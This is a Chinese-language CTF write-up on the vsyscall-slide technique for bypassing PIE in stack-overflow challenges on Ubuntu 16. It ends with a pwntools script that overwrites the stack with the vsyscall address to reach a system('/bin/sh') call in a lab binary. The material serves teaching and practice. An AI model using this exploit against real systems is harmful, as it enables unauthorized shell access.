原理
适用条件:ubuntu16
偏有宸机:由于一般的系统调用如果想要向内核传递一些参数的话,为了保证用户态和内核态的数据隔离,往往需要把当前寄存器状态先保存好,然后再切换到内核态,当执行完后还需要在会恢复寄存器状态,而这中间就会产生大量的系统开销。因此为了解决这个问题,linux系统会将仅从内核里读取数据的syscall单独列出来进行优化,如 gettimeofday、time、getcpu。
vsyscall
的地址是固定的,也就是0xffffffffff600000
.
使用
如果栈上有一个我们需要返回到的地址,我们只需要用vsyscall
将他前面的栈数据填满,程序就会滑动到这个地址去执行函数。特别是system("/bin/sh")
.
或者在开启了pie
情况下,该地址与后门函数地址只有后面1个字节不一样,那就在用vsyscall
将他前面的栈数据填满的前提下,将后一个字节填充为后门函数绕过pie。
如果是两个字节不一样,这就需要爆破一位,有1/16几率成功(比较高。
例题
❯ checksec pwn [*] '/home/za/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
|
存在栈溢出:



开启了pie
,而且不能泄露栈地址,加上有一个(v2 & 7) != 0
检查,常规思路是不行的payload = b"a"*0x18 +b"\x3a"
,因为需要读入0x19字节,这样就不能绕过这个检查。
调试
找到返回到0xa3a的地址
:

我们写的地址在0x7fffffffe560
,而在0x7fffffffe588
中的地址就是system("/bin/sh")
,所以我们填入5个0xffffffffff600000
就能滑到这个位置。
exp
from pwn import * from pwn import p64,u64,p32,u32,p8 from LibcSearcher import *
context.terminal = ["tmux","sp","-h"] context(log_level="debug",os="linux",arch="amd64") io = process("./pwn")
elf=ELF("./pwn") libc=ELF('/home/tools/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
sla = lambda x,y : io.sendlineafter(x,y) sa = lambda x,y : io.sendafter(x,y) sl = lambda x : io.sendline(x) sd = lambda x : io.send(x) gd = lambda : gdb.attach(io) r = lambda : io.recv() rn = lambda x : io.recv(x) rl = lambda : io.recvline() ru = lambda x : io.recvuntil(x) rud = lambda x : io.recvuntil(x, drop=True) inter = lambda : io.interactive() uu64 = lambda data :u64(data.ljust(8, b'\x00')) leak = lambda tag,addr :log.info('\x1b[01;38;5;214m' + tag + " -------------> " + hex(addr) + '\x1b[0m')
def get_addr() : return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(libc_base) : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def pwn(): io.sendline(p64(0xffffffffff600000)*5) inter()
pwn()
|